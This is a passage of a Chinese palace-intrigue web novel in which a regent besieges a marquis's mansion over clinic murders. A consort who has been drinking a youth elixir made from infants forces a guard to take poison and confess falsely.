他一挥手,暗卫们迅速列成阵形,刀光剑影在雨夜里闪烁,如同一道黑色的钢铁城墙,将整座侯府团团围住。 广阳侯宋明远手中的茶盏 “啪嗒” 坠地,碎瓷溅在青砖上发出刺耳声响。 “你说什么?回春堂被砸了?!” 他脖颈青筋暴起,一把揪住下人的衣领,“哪个狗胆包天的东西敢动本侯的产业?!” “是、是摄政王裴子慕……还有镇远侯府的嫡女慕容浅!” 下人脸色惨白,哆哆嗦嗦地说道,“他们带着王府亲卫,把回春堂围了个水泄不通,还抓了掌柜的和坐诊的徐供奉……” 宋明远的手骤然松开,踉跄着后退两步,撞翻了一旁的博古架。 青铜香炉摔落在地,香灰扬起呛人的气息。 摄政王三个字如冰锥刺心,他深知这位权倾朝野的铁腕人物,连当今圣上都要让三分。 而镇平侯府那位嫡女……他猛地想起坊间传闻,慕容浅自幼随青山观元起道长修行,一手剑术出神入化,更兼道医双绝,偏偏又与摄政王过从甚密。 “老爷,这可如何是好?” 管家见状,急忙上前搀扶,“那慕容浅随元起道长学了十年本事,如今又有摄政王撑腰……” 宋明远额头上渗出细密的冷汗,金丝蟒袍下摆扫过满地狼藉时,衣摆上的绣纹都在微微发颤。 突然,他死死攥住太师椅的雕花扶手,指节泛白:“立刻派蜂鸟进宫!” 他压低声音,眼中闪过一丝孤注一掷的狠戾,“去寻翠喜姑姑,把回春堂的事透给贵妃娘娘……就说有人拿徐供奉的嘴做文章,想攀扯到咱们头上!” “深夜入宫,恐怕宫门守卫那边……” “蠢货!” 宋明远反手甩了管家一个耳光,打得对方嘴角渗血。 “有蜂鸟在,还怕消息传不进去?让翠喜姑姑务必告诉贵妃:若不拦住摄政王,一旦查到安胎药的事,宋氏满门将无葬身之地!” 他跌坐回椅中,望着檐角垂下的雨线,喉间发出一声混着恐惧与怨毒的低吼:“裴子慕……慕容浅……你们等着……” 宋明远话音未落,前院突然传来一阵杂乱的脚步声,一个小厮连滚带爬地冲进厅堂,裤腿上还沾着半截泥水:“老、老爷!不好了!” 他扑通一声跪倒在地,牙齿抖得像筛糠,“摄政、摄政王带着大队人马把侯府围了!亲卫已经砸开角门,就要杀进来了!” “反了!真是反了!” 宋明远猛地一拍桌案,案上的砚台被震得跳起,墨汁泼洒在卷轴上,晕开狰狞的黑痕。 他抓起墙上悬挂的宝剑,锦袍在转身时扫翻了三足香几,“裴子慕仗着自己是摄政王,竟敢擅闯本侯府邸!他是皇亲国戚,难道我就不是?传我的令,让护院们抄家伙,随我出去会会他!” 第107章 圣上 管家慌忙拽住他的衣袖:“老爷三思啊!摄政王带的是王府暗卫,个个都是杀人不眨眼的角色……” “住口!” 宋明远甩开他的手,剑柄上的宝石硌得掌心生疼,“本侯是圣上亲封的广阳侯,手握丹书铁券,他裴子慕难道还敢把我怎么样?” 他深吸一口气,努力挺直因恐惧而微颤的脊梁,朝着门外怒吼:“备马!本侯倒要看看,他裴子慕今天能把我这侯府翻了天不成!” 话音未落,正厅的雕花木门 “哐当” 一声被撞开,暴雨裹挟着冷冽的杀气灌了进来。 为首的黑衣暗卫手持绣春刀,雨水泼洒在剑锋上发出清越的鸣响:“摄政王殿下驾到!” 宋明远握着宝剑的手猛地一僵,剑尖在青砖上划出刺耳的声响。 只见雨幕中,那乘熟悉的轮椅碾过青砖而来,裴子慕身披墨色大氅,苍白的面容在雷光下宛如寒玉,而他身侧的慕容浅手握软剑,剑锋上的雨水正一滴一滴落在广阳侯府的地面上。 子时三刻,永和宫西角门传来三声急两声响的叩击,在寂静的宫道上惊起寒鸦。 值夜宫女刚要呵斥,便见掌事女官翠喜掀开黑斗篷,腰间金鱼符在月光下泛着冷光,众人忙不迭让开。 寝殿内熏香未散,柔贵妃正对着铜镜卸珠钗,忽闻帘栊响动。 翠喜疾步而入,鬓边银步摇还沾着夜露:“娘娘!广阳侯府出事了!” 话音未落,铜镜旁的烛台 “啪嗒” 一声,半支红烛应声而断。 “慢慢说!” 柔贵妃攥着鲛帕的手微微发颤,护甲在烛火下映出青白的光。 翠喜压低声音,将回春堂被砸、裴子慕围困侯府之事和盘托出,末了急道:“侯爷说,若今夜不拦下摄政王,只怕宋氏满门都要遭殃。” “住口!” 柔贵妃打翻妆奁,胭脂水粉洒了满地。 她盯着镜中自己骤然失色的脸,想起兄长这几年仗着她的恩宠在朝堂越发张扬,可打断骨头连着筋,到底是一家人,怎么能眼睁睁看着他出事,更何况回春堂还牵涉到她。 她猛地扯下凤钗,乌云般的青丝倾泻而下:“梳妆,去养心殿!” 夜色深沉,宫灯在风中摇晃,将永和宫的影子拉得老长。 柔贵妃踩着十二幅月华裙,提着裙摆狂奔在青砖路上,身后翠喜举着宫灯跌跌撞撞地追,烛火明灭间,倒像是拖着一条忽明忽暗的血线。 养心殿内烛火摇曳,安神香萦绕在青玉香炉间。 圣上斜倚在金丝楠木榻上,苍白的手指捏着奏折,因旧年征战留下的暗伤又隐隐作痛。 忽闻殿外传来急促的脚步声与压抑的抽噎,还未开口询问,便听宫人通传:“柔贵妃求见!” 殿门推开的刹那,一抹茜色身影跌撞而入。 柔贵妃云鬓散乱间,珍珠步摇随动作轻晃,衬得那张芙蓉面愈发楚楚动人。 数年光阴未在她脸上留下分毫痕迹,柳叶眉微蹙,含着泪的杏眼波光潋滟,朱唇因痛哭泛着病态的嫣红,便是梨花带雨的模样,也美得惊心动魄。 月白色鲛绡裙沾满泥水,却更显纤腰盈盈一握,绣着并蒂莲的裙摆铺展在地,恍若破碎的月光。 “臣妾参见圣上……” 她声音如黄鹂啼血,双膝重重跪地,肩头剧烈起伏,胸前霞帔随着抽噎微微颤动,“求圣上为臣妾做主!” 圣上轻咳两声,目光不由自主被眼前人吸引。 沙哑的嗓音里藏着几分不耐:“何事如此慌乱?” “摄政王……” 柔贵妃猛地抬头,泪湿的脸颊泛着诱人的红晕,指尖无意识绞着裙摆,将鲛绡都攥出褶皱,“他今日竟带着镇远侯府的嫡女慕容浅,将兄长的回春堂砸得粉碎!广阳侯府也被亲卫层层围住,不知到底想做什么?” 她膝行上前,腕间金镶玉镯相撞发出清响,娇艳的面容近在咫尺,“兄长对圣上忠心耿耿,从未有过二心!可摄政王独揽大权,肆意打压朝中忠良,分明是想铲除异己,架空圣上您啊!” 说到最后,已是泣不成声,整个人伏在地上颤抖,乌黑的长发如瀑倾泻,衬得后颈白皙胜雪,无端惹人生出怜惜之意。 圣上的脸色愈发阴沉,指尖无意识摩挲着榻边的扶手。 旧伤发作的钝痛混着心底翻涌的怒意,而眼前美人的哭诉,更如同一把软刃,直直戳中他最敏感的神经。 圣上的指节深深掐进木榻的扶手,阴沉的眸光穿过摇曳的烛火,恍惚间又回到了二十年前那个血色黄昏。 当年先帝与结拜兄弟裴远舟并肩打下半壁江山,营帐里 “不求同年同月同日生”的誓言犹在耳畔。 战场上,裴远舟银枪所指之处,三军齐声高呼“裴将军”,那震天动地的声浪,甚至盖过了先帝发号施令的声音。 可每当有人提议以裴远舟为首领,那个身披玄甲的男人总会抱拳行礼:“长兄如父,此生唯愿辅佐兄长!” 打下江山那日,群臣跪请裴远舟登基,他却亲手将玉玺捧到先帝面前,连头盔上的红缨都未沾染半分傲气。 想到这,圣上端起茶盏,冷笑震得杯沿震颤:“皇椅谁不想坐?不过是拉不下脸,故作清高罢了……” 滚烫的茶水泼在青砖上,蒸腾的雾气模糊了柔贵妃惊恐的面容。 庆功宴上的情景至今历历在目。 裴远舟端起先帝赐的酒盏,月光映着他腕间先帝亲赠的龙纹玉佩,笑容坦荡如昔。 可酒水下肚不过半盏,他便口吐鲜血栽倒在地,玉佩坠地碎裂的声响,与满座惊呼声一同成了先帝登基的“丧钟”。 二十年来,御林军查遍朝野,却始终寻不到凶手踪迹。 先帝登基后,追封裴远舟为“忠义王”,谥号 “贞烈”,甚至在太庙立碑。 这看似荣宠至极的追封,何尝不是堵人嘴的手段? “好一个忠义王……” 圣上捏碎茶盏,瓷片扎进掌心也浑然不觉,“若不是他突然暴毙,先帝只怕是连这龙椅都坐不安稳!” 第108章 口谕 几年后,流落民间的裴氏遗孤被寻回。 幼童浑身是伤却死死攥着半块虎符,那双与裴远舟如出一辙的眼睛,看得先帝红了眼眶。 为堵天下悠悠众口,先帝不仅将孩子收为义子,更在临终前亲授虎符,命其辅佐新帝,封了至高的摄政王名号。 这些年裴子慕掌着半数兵权,朝堂政令皆出自摄政王府,自己这个坐在龙椅上的天子反倒成了摆设。 如今连他宋氏外戚都敢动,究竟是想清君侧,还是…… 他不敢再往下想,目光落在柔贵妃哭得红肿的双眼上,心底翻涌的猜忌与不甘几乎要破胸而出。 他望向柔贵妃,“裴子慕手握虎符,又有裴氏旧部暗中支持…… 哼,他动广阳侯府,怕不是冲着朕的皇位来的!” 柔贵妃娇躯轻颤,如受惊的小鹿般偎入圣上怀中,指尖无意识地揪着他明黄龙袍的衣角:“陛下,您瞧瞧这摄政王的做派……” 她抬眸时眼尾泛红,似泣非泣的模样惹人怜惜,“未曾向您递上半分折子,便带着兵丁砸了回春堂,还围困朝廷命官的府邸。这传出去,天下人该怎么议论?” 话锋陡然一转,她又将脸埋进圣上胸口,“天下人还以为陛下被架空,连臣子都不把皇室威严放在眼里了……” 她纤长的睫毛沾着泪珠,声音带着恰到好处的哽咽:“兄长虽说只是个闲散侯爷,可这些年恪守本分,从不敢逾矩。摄政王这般行事,分明是不将陛下的旨意放在心上。若今日开了这个头,往后满朝文武谁还会听陛下号令?” 说罢,肩头剧烈起伏,哭得梨花带雨。 柔贵妃话音落时,殿内陷入诡异的寂静。 圣上垂眸盯着打翻的茶盏,深褐色的茶水在蟠龙纹地砖上蜿蜒,像极了裴远舟当年倒下时浸透玄甲的血。 他骨节分明的手指有一下没一下叩着榻边扶手,声音冷得听不出喜怒:“先帝收他为义子,赏他虎符,又留遗诏封摄政……倒像是把半个江山都捧到他手里了。” 柔贵妃刚要接话,却见圣上抬手制止。 那双藏在低垂眼睑下的眸子暗如深潭,泛着捉摸不透的幽光:“这些年他整治吏治、平定边患,朝堂上下确实离不开他。” 柔贵妃心里一紧,以为圣上又要护着裴子慕。 抬头望向那个榻上的人影,烛台的光影在他脸上明明灭灭,映得神情愈发阴晴不定,“国有国法,家有家规,回春堂和广阳侯府的事,总要给朕一个交代。” “陛下英明!” 柔贵妃膝行半步,胭脂晕染的脸颊几乎要贴上龙袍:“哪怕裴子慕有通天的本事,也不能越过陛下的规矩去。” “你放心,有我在,没人能动到你。” 柔贵妃仰起泪痕未干的脸,感激涕零,“臣妾就知道,唯有陛下会护着宋氏……” 她指尖轻颤着抚过圣上因旧伤紧绷的下颌,她眼波流转,朱唇微启:“这些年,宋氏满门日日夜夜盼着能为陛下分忧,哪怕粉身碎骨也再所不辞。” 圣上望着那张娇艳欲滴的面容,岁月似乎格外垂怜,竟未在她眼角留下半道细纹。 昔日在选秀宴上惊鸿一瞥的画面与眼前重叠,他喉结微动,握住那只柔荑:“朕既封你为贵妃,自会保你兄长平安。” 抬手拭去她眼角泪珠,触到细腻肌肤时,心底某处柔软被轻轻拨动。 “李如海!” 圣上升高声调,待老太监佝偻着腰疾步而入,“即刻前往广阳侯府,传朕口谕,摄政王暂退围兵,有什么事待明日巡防司审查!” 又转头看向柔贵妃,嘴角勾起一抹笑意:“还是朕的贵妃最善解人意,这般美貌,倒比初见时更动人了。” 柔贵妃闻言,双颊泛起红晕,娇嗔着伏入圣上怀中,余光却瞥向殿外的夜色,心中暗暗盘算,只要熬过今夜,兄长便能借着皇帝的旨意翻盘。 此刻广阳侯府中。 广阳侯宋明远拎着宝剑的手沁出冷汗,指节将剑柄上的宝石硌得生疼,却仍梗着脖子立在朱漆大门前。 蟒袍随着颤抖的双腿簌簌晃动,他望着雨中端坐轮椅的裴子慕,怒喝声里混着破音:“裴子慕!大家同为皇亲,你凭什么带兵围我府邸?!” 雨幕中,绣春刀出鞘的清鸣惊飞檐下寒鸦。 裴子慕抬手示意暗卫收刀,苍白手指慢条斯理地捏起一枚乌木令牌,上面 “广阳侯府” 四个篆字在雷光下泛着冷光。 “宋大人可认得此物?” 他指尖轻弹,令牌划过雨幕,“当啷” 一声砸在宋明远脚边。 正是今日刺客逃走时,被慕容浅用剑挑落的物证。 宋明远的瞳孔猛地收缩,喉结在绷紧的脖颈间艰难滚动。 他强扯出一抹冷笑,蟒袍上的金丝云纹在雷光下刺得人眼疼:“好个摄政王!随便找块破木牌就想栽赃?这天下仿造我侯府令牌的人多了去了!” 刻意拔高的声线撞在雨幕上,尾音像被掐住的麻雀般发颤。 裴子慕低笑出声,轮椅碾过满地雨水缓缓逼近。 慕容浅握剑跟在身后,剑锋滴落的雨水在青砖上洇出深色痕迹。 “栽赃?” 裴子慕指腹摩挲着令牌边缘的暗纹,突然重重掷在宋明远脚边,“本王的暗卫追着刺客直到你府墙下,看着他翻墙而入。” 他抬手示意,四周黑衣卫同时将绣春刀抽出半截,“现在整座侯府已被围得水泄不通。宋大人敢不敢让我搜上一搜?” 宋明远脸色骤变,猛地抽出宝剑,剑尖却因颤抖在空气中划出凌乱弧度:“裴子慕!我有丹书铁券护身,圣上特许非谋逆大罪不得搜查侯府!你敢动我,就是抗旨!” 他身后的府兵握紧兵器,可在王府亲卫森冷的目光下,握刀的手都在微微发抖。 裴子慕唇角勾起一抹讥讽的笑,苍白的手指抚过轮椅扶手上的龙纹:“丹书铁券?” 话音未落,夜无殇已捧出檀木剑匣,朱漆盒盖掀开的刹那,寒芒迸裂雨幕。 正是先帝御赐的尚方宝剑,剑匣上刻着 “如朕亲临” 四个大字。 第109章 巡防司 “这是先帝御赐的尚方宝剑,” 裴子慕握住剑柄,剑刃出鞘三寸,映得他眼底一片冰寒,“可斩皇亲,可诛权臣,见剑如见圣上。” 他抬手挥剑,一道寒光掠过宋明远鬓角,削落几缕发丝,“宋大人是要我动用先斩后奏之权,还是乖乖让开?” 不等宋明远回答,裴子慕已转动轮椅,剑锋直指侯府大门:“搜!若有阻拦,一律视作同谋!” 黑衣卫如潮水般涌入院落,慕容浅长剑出鞘,冷眼看着宋明远踉跄后退,蟒袍被雨水浸透,狼狈得再无半分皇亲的威严。 不多时,暴雨中传来急促的脚步声。 夜无殇拖着浑身浴血的刺客踏入大厅,那人右臂被锁链勒出深可见骨的伤口,血迹在青砖上拖出蜿蜒的痕迹。 “王爷,刺客藏身侯府后院暗室。” 夜无殇将人狠狠掼在地上,金属锁链与地砖相撞,发出刺耳的声响。 刺客抬起染血的脸,嘴角溢出的血水混着惶恐:“宋大人,救我……” 话音未落,宋明远的蟒袍下摆已沾染上飞溅的血珠。 他踉跄后退半步,撞翻身后的檀木花架,香炉摔落在地,香灰扬起呛人的烟雾。 裴子慕转动轮椅逼近,苍白的手指勾起刺客腰间的广阳侯府腰牌,在雷光下映出冷冽的光:“宋大人还有何话说?” 他的目光扫过宋明远煞白的脸,突然轻笑出声,“看来这残害孕妇、杀人灭口的罪名,宋大人是赖不掉了。” 宋明远面如白纸,蟒袍下摆在风中猎猎作响,他颤抖着手指指向地上的刺客,声音几近破音:“我根本不认识你!分明是裴子慕买通你来栽赃!” 雨水顺着他的下颌滴落,混着冷汗滑进衣领。 刺客咳出一口血沫,脸上浮起扭曲的苦笑:“侯爷……您让我守在回春堂外,说若是走漏风声就杀人灭口……小的都是按您吩咐办事啊!您不能……” 话音未落,宋明远已暴跳如雷,猛地揪住一旁管家的衣领:“你说!府里可有这人?快作证!” 管家脸色煞白,膝盖一软跪了下去。 话还没出口,刺客突然仰头大笑,血水顺着嘴角蜿蜒而下:“君要臣死,臣不得不死……小的愿以命保侯爷周全!” 夜无殇瞳孔骤缩,飞身上前扣他下巴,却见刺客狠狠咬碎齿间毒丸,瞬间七窍流血瘫倒在地,抽搐两下没了气息。 裴子慕转动轮椅碾过尸体,苍白的指尖擦过尚方宝剑的剑锋,冷光映得他眼眸如冰:“宋大人,这出戏倒是精彩。” 他望向宋明远几乎扭曲的面容,轻笑出声,“虽然死人不会说话了,活人……却能说更多话。” 话音落下的刹那,四周暗卫同时按住瘫倒在地的管家和下人,惨叫声混着雨声,惊飞了檐角的夜枭。 广阳侯府正乱作一团时,马蹄声撕破雨幕。 大太监李如海跌跌撞撞滚下马车,披风沾满泥浆,望见满地狼藉的侯府和轮椅上神色冷峻的裴子慕,后颈瞬间渗出冷汗。 他抖着手整了整冠冕,尖细的嗓音在雨夜里发颤:“摄政王殿下,圣上口谕……” 话未说完,他已扑通跪倒在地,额头贴着湿漉漉的青砖:“着即刻解除对广阳侯府的围困,一应事务移交巡防司彻查!还请殿下顾全大局……” 话音未落,巡防司指挥使王承业率队疾步而来,玄色官服在风中猎猎作响。 “王爷放心!” 王承业抱拳行礼,目光扫过地上的尸体和脸色惨白的宋明远,“卑职定当秉公办理,给陛下和诸位大人一个交代!” 他身后的巡防兵卒已有条不紊地替换王府暗卫,金属甲胄碰撞声中,紧张的对峙气氛稍稍缓和。 裴子慕指尖摩挲着轮椅扶手,苍白面容隐在伞下阴影里,半晌才轻笑出声:“既如此,便劳烦王大人了。” 他转动轮椅,在经过李如海时忽然停住,声音冷得像淬了冰,“不过李公公最好转告陛下……有些真相,可不是雨幕能遮住的。” 李如海将头埋得更低,额头几乎要嵌进青砖缝里,颤声道:“是……是……” 雨丝顺着他褶皱的脖颈滑进衣领,却不敢抬手擦拭。 作为在御前伺候了二十年的心腹,先帝与忠义王的纠葛、裴子慕被收为义子的隐情,还有庆功宴上那桩悬案,桩桩件件都在他心里压成了沉甸甸的石头。 此刻裴子慕暗藏锋芒的话语,更让他后背发凉。 有些秘密越是深埋,越像是埋在宫墙下的火折子,指不定何时就会烧穿这层摇摇欲坠的体面。 雨幕如帘,将养心殿裹进浓稠的夜色。 柔贵妃跪坐在蟠龙纹脚踏上,指尖正轻柔地为圣上揉捏着发僵的肩颈,衣袖扫过圣上的面庞。 檀香混着药香在殿内弥漫,忽听圣上喉间发出一声低哼,眉峰骤然蹙起。 “陛下,怎么了?可是身体不适?” 柔贵妃动作一顿,杏眼泛起关切。 圣上目光凝在她鬓边晃动的珍珠钗上,“你身上涂了什么,怎么有股怪味?” “嗯?” 柔贵妃动作一顿,杏眼泛起疑惑,“臣妾今夜仔细沐浴过,熏了陛下赐的鹅梨帐中香,并无异味呀。” 她下意识抬手轻嗅广袖,却只闻到淡雅的花香。 圣上目光凝在她鬓边晃动的珍珠钗上,暗沉的眼底翻涌着捉摸不透的情绪。 他摩挲着袖口的明黄龙纹,声音像是从胸腔深处碾出:“血腥味。” 柔贵妃脸色骤变,猛地扯过衣襟反复嗅闻,护甲在锦缎上刮出细碎声响。 除了熟悉的香气,她确实也闻到一股淡淡的腥味,有点令人作呕的味道。 额角沁出冷汗,她强笑着俯身行礼:“许是臣妾疏忽了,衣服上不知在哪沾染上了……” 她话音未落,便见圣上已经起身,龙袍扫过青砖的声响,惊得她指尖一颤。 “去更衣吧。” 圣上背对着她站在窗前,望着雨幕的身影紧绷如弦,“带着这股味道,朕闻了头疼。” 柔贵妃脸色骤变,额角沁出冷汗。 她强压下心底翻涌的不安,俯身行礼时,后颈渗出的冷汗顺着衣领滑进衣襟:“请陛下恕罪,臣妾这就回宫重新沐浴更衣,臣妾告退……” 第110章 怪味 永和宫蒸腾的水汽中,柔贵妃近乎癫狂地将整罐玫瑰花瓣撒进浴桶,指甲深深掐进宫女手背:“用力搓!再用力些!” 滚烫的热水在她背上烫出大片红痕,却盖不住那股若有似无的腥气 。 像新宰的生肉,又像干涸的血痂。 “娘娘,皮都要破了……” 宫女颤声求饶,木勺里的花瓣倾洒在水面,转瞬被血色染红。 “换皂角!把西域进贡的龙涎香全拿来!” “到底怎么回事!” 她猛地起身,水珠四溅中踉跄着撞翻香案。 各色香料滚落满地,却压不住从毛孔里渗出的血腥气。 柔贵妃颤抖着撕扯广袖,雪白肌肤上浮现出诡异的暗红纹路,像是无数细小伤口在渗血。 窗外惊雷炸响,映得她惨白的脸如同厉鬼。 蒸腾的水雾中,她望着镜中自己泛红的脖颈,忽然僵住。 那股若有似无的血腥气息,竟与数日前在国师府饮下的血莲汁如出一辙。 柔贵妃死死攥住浴桶边缘,指甲在木板上刮出刺耳声响。 她盯着水面自己扭曲的倒影,记忆如潮水涌来。 暮春的永和宫飘着零落的海棠,柔贵妃攥着鲛绡帕子立在铜镜前,指尖深深掐进掌心。 新来的兰才人昨日承宠,皇上赏了她一整匣南海珍珠,消息传遍六宫时,连她宫里的宫女都忍不住偷瞄主子脸色。 镜中人虽仍艳若桃李,可眼角新添的细纹却刺得她眼眶发烫。 入宫八载,圣宠渐淡,膝下更是空空如也。 “娘娘,御花园的红梅开了,不如去散散心……” 贴身宫女话音未落,便被她摔碎的胭脂盒吓得噤声。 柔贵妃盯着满地狼藉,突然想起今早请安时,淑妃隆起的小腹在织金襦裙下格外刺眼。 皇上看淑妃的眼神,分明与当年看自己时如出一辙。 正是在这般焦躁难安时,国师府的女官捧着描金漆盒踏入宫门。 “娘娘金枝玉叶,偏生这岁月不饶人。” 女官的声音甜得像掺了蜜。 掀开漆盒的刹那,琉璃盏里暗红的汁液泛着诡异的光。 “我家国师新得了南疆异宝,最能滋养容颜,可保娘娘青春永驻。” 柔贵妃指尖微颤,望着镜中自己开始松弛的眼角。 她何尝不知圣上来日薄西山的宠爱? 那些新进宫的美人儿,个个鲜嫩得能掐出水来。 “这世上哪有能让人青春永驻的东西,不过是故弄玄虚,当真有这般奇效?” 她嘴上硬着,目光却死死盯着琉璃盏。 “娘娘有所不知。” 女官压低声音,“这血莲生在南疆悬崖,须得寅时三刻以玄铁钩索摘取,植入盆中,待成熟了再服用。稍有不慎便会坠入深渊,前阵子为采这株,足足折了三条人命呢!” 她殷勤地将琉璃盏捧近,“国师说了,这等宝物唯有娘娘的天姿国色才配得上。” 柔贵妃将信将疑地抿了一口,铁锈味在舌尖散开,却在咽下后化作暖意流遍四肢百骸。 三日后晨起梳妆,铜镜里的肌肤竟真如剥壳鸡蛋般莹润,眼角细纹也淡了许多。 她攥着铜镜的手微微发抖,只要能留住这副容颜,皇上就不会忘了永和宫还有个柔贵妃。 即便这血莲来之不易,即便要付出代价…… 又如何? 她当夜就乔装打扮来到国师府,索要更多血莲。 “此物虽好,却不能多服。” 国师抚着白须,眼中闪过一丝算计,“且娘娘金贵之躯,每月饮上一盏便足够滋养。” 柔贵妃哪里顾得上深究,只命人取来东珠翡翠相赠,满心盘算着如何将这驻颜秘术牢牢攥在手中。 可此刻回想,饮下汁液后,她总觉得腹中隐隐发烫,像是有团火在灼烧。 永和宫的宫灯在夜风中摇晃,柔贵妃攥着浸透冷汗的丝帕,跌跌撞撞闯入国师府。 檀香混着诡异的腥气扑面而来,她强撑着威仪,声音却止不住发颤:“国师,本宫身上这股血腥味,究竟是怎么回事?” 国师抚着银白长须,慢悠悠从雕花檀椅上起身,浑浊的眼中闪过一丝算计:“娘娘怎的忘了?三个月前您求驻颜之术,老臣奉上的血莲,本就是用初生婴儿精魄滋养的。” “荒谬!” 柔贵妃后退半步,撞得身后屏风吱呀作响,“你当时说那是南疆峭壁上的奇珍!” 记忆如潮水翻涌,她想起饮下汁液后愈发细嫩的肌肤,想起那些深夜里腹中传来的隐隐刺痛,胃中一阵翻江倒海。 国师嘴角勾起一抹冷笑:“娘娘当时满心只想着青春永驻,老臣说什么又有何用?” 他踱步逼近,苍老的声音像毒蛇吐信,“为采这血莲,多少婴儿被放干精血?娘娘如今光鲜的皮囊下,可都是无辜幼童的冤魂啊!” 烛火将柔贵妃的影子扭曲地投在墙上上,她攥着锦帕掩鼻,却挡不住那股从骨髓里渗出的血腥味。 她声音带着难以抑制的颤抖:“血莲的来历暂且不提,可为何近日这血腥味愈发浓烈,连圣上都察觉了?!” 国师盘坐在青玉榻上,枯瘦的手指摩挲着雕花扶手,眼底泛起冷笑:“娘娘既享了驻颜的好处,便该承这代价。血莲以胎儿精魄滋养,用得越多,怨气越重。如今血气反噬,不过是冤魂索债罢了。” “你……” 柔贵妃踉跄后退,撞得身后博古架上的青瓷瓶嗡嗡作响,“当初你怎么不说有这般后果!” 国师慢悠悠起身,鹤氅在夜风中猎猎作响:“娘娘,这世上哪有无本的买卖?想要永葆青春,自然要付出代价。” 他凑近时,身上腐朽的气息混着血腥味扑面而来,“若不想被这血气吞噬,就该早早停了血莲。不过……” 他目光扫过柔贵妃惊恐的面容,“娘娘舍得放弃这圣宠吗?” 柔贵妃跌坐在冰凉的青砖上,锦缎裙摆沾满灰尘。 窗外惊雷炸响,映得国师的影子如同索命恶鬼。 她终于明白,从饮下第一盏血莲汁开始,自己早已在这欲望的深渊里,无路可退。 窗外传来乌鸦的嘶鸣,她望着自己苍白的双手,突然发现指甲缝里渗出暗红血珠,腥气愈发浓烈。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第111章 灭口 柔贵妃猛地抬头,眼中闪过疯狂的执拗:“不行!我绝不能失了圣宠!没了圣上的宠爱,我这些年的苦心都将化为泡影!” 她攥着裙角的指尖泛白,突然想起白日里裴子慕带兵搜查广阳侯府的场景,猛地扑到国师面前,“回春堂到底是怎么回事?!那些孕妇的死,跟血莲汁有什么关联?!” 国师不慌不忙地拂开她拉扯的衣袖,脸上浮起阴鸷的笑:“娘娘倒是天真。若不是回春堂源源不断地为你寻找婴儿,你以为那些血莲汁从何而来?” 他枯瘦的手指突然掐住柔贵妃下颌,“广阳侯不过是台前傀儡,真正的买卖,早该娘娘心里有数。” “不可能……” 柔贵妃浑身发抖,“我兄长我了解,他最多只敢以次充好,克扣点银两,草菅人命的事他没那个胆子!” “不用他动手,自有得力的人帮他做,他只需要舒舒服服的当他的广阳侯就好。” 他慢条斯理地整理着袖口的云纹,“广阳侯不过是个幌子,真正的手尾,还得娘娘自己去料理干净。” 柔贵妃想起兄长身边那几个贼眉鼠眼的掌柜伙计,想起回春堂外经久不散的血腥味,胃中翻涌如沸。 “你是说,那些孕妇的死……都是为了我?” “事到如今,娘娘何必装糊涂?” 国师的笑声里带着嘲讽,“想要保住圣宠,想要永葆青春,总得有人付出代价。” 他凑近时,浑浊的呼吸喷在柔贵妃脸上,“现在,该想想如何收拾残局了,毕竟,裴子慕可不会轻易放过这个机会。” 柔贵妃瘫坐在冰凉的青砖上,珠钗散落,妆容被泪水晕染得不成样子。 她抓住国师的衣摆,声音带着绝望的哭腔:“我该怎么办……国师,求您帮帮我!圣上已经起了疑心,裴子慕又步步紧逼,我真的不知道该怎么办了!” 她的指甲深深掐进对方布料,仿佛抓住最后一根救命稻草。 国师居高临下地看着她,眼中尽是轻蔑与算计,却还是慢条斯理地掰开她的手指:“慌有何用?想要保住圣宠、护住兄长,就得快刀斩乱麻。” 他俯身时,白须几乎扫过柔贵妃的脸,“先让广阳侯咬死牙关不认账,再找几个替罪羊顶罪。至于裴子慕……” 苍老的声音顿了顿,“老臣自有办法拖住他。” 柔贵妃抬起满是泪痕的脸,眼中重新燃起希望的火苗,却又带着几分恐惧:“可、可那些冤魂,血莲的反噬怎么办?” “事到如今,还怕这些?” 国师冷哼一声,“只要圣宠还在,权势还在,什么冤魂反噬都不足为惧。” 他甩了甩衣袖,转身走向内室,“记住,天亮前把该做的都做好。否则,娘娘可就真的万劫不复了。” 柔贵妃跪坐在满地狼藉中,指甲深深抠进掌心。 当国师的脚步声彻底消失在回廊尽头,她突然抓起地上的香炉狠狠砸向铜镜。 “哐当” 一声巨响,镜面四分五裂,映出无数个扭曲变形的自己。 那些曾因血莲汁绽放的娇艳,此刻都成了狰狞的讽刺。 “来人!” 她踉跄着起身,连夜赶回永和宫,“传我的令,让哥哥立刻送几个最得力的心腹进宫!” 宫女们被她癫狂的神色吓得跪地磕头,却不敢多问半句。 子时三刻,广阳侯府的暗卫首领赵礼浑身湿透地潜入永和宫。 永和宫东偏殿的烛火在风中摇曳不定,柔贵妃斜倚在榻上,指甲一下又一下叩击着扶手。 赵礼被反绑在紫檀椅上,看着眼前那杯泛着幽绿光泽的毒酒,喉结剧烈滚动。 “赵统领,你跟了我哥十年,忠心我是知道的。” 柔贵妃起身,绣着金线牡丹的裙摆扫过青砖,在寂静中发出细碎声响。 “只要你饮下这杯酒,写下认罪书 —— 就说回春堂的勾当都是你瞒着侯爷,私自勾结江湖人士所为。你死后,你家中父母妻儿,我自会好生照料。” 赵礼猛地抬头,额角青筋暴起:“娘娘!侯爷所做的一切可都是为了你,若不是你非要喝那劳什子,那些孕妇和孩子怎么会无辜丢了命?!” “住口!” 柔贵妃一脚踢翻脚边的香炉,炭火四溅。 “你若不从,” 她俯身逼近,眼中闪过狠厉,“我即刻派人去你老家,把你那未满周岁的儿子,丢进池子里!” 赵礼浑身剧烈颤抖,脸上血色尽褪。 他想起家中年迈的父母,想起妻子温柔的笑容,想起牙牙学语的幼子。 泪水不受控制地涌出,混着脸上的血渍滑落。 “……好,我写,拿纸笔来!” 他哽咽着开口。 一盏茶后,认罪书墨迹未干,赵礼颤抖着接过毒酒。 “娘娘……希望你说到做到……” 话音未落,他已将毒酒一饮而尽。 毒性发作极快,他的嘴角溢出黑血,却仍死死盯着柔贵妃:“若我家人有任何闪失,我做鬼也不会放过你……" 柔贵妃嫌恶地后退半步,看着赵礼在痛苦中挣扎,直到彻底没了动静。 她捡起地上的认罪书,嘴角勾起一抹冷笑:“来人,把尸体丢进护城河,再去赵府送些金银藏在地下……做戏,总要做全套。” 晨光刺破乌云时,永和宫已换了番景象。 柔贵妃端坐在梳妆台前,宫女们小心翼翼地为她簪上东珠步摇,艳丽的胭脂覆住了她眼底的青黑。 镜中倒映着重新焕发光彩的容颜,她却猛地攥住宫女手腕:“昨夜的事,半个字都不许说出去。” 与此同时,广阳侯府内一片肃杀。 宋明远瘫坐在太师椅上,看着心腹们被一一拖出去,惨叫声渐渐消失在庭院深处。 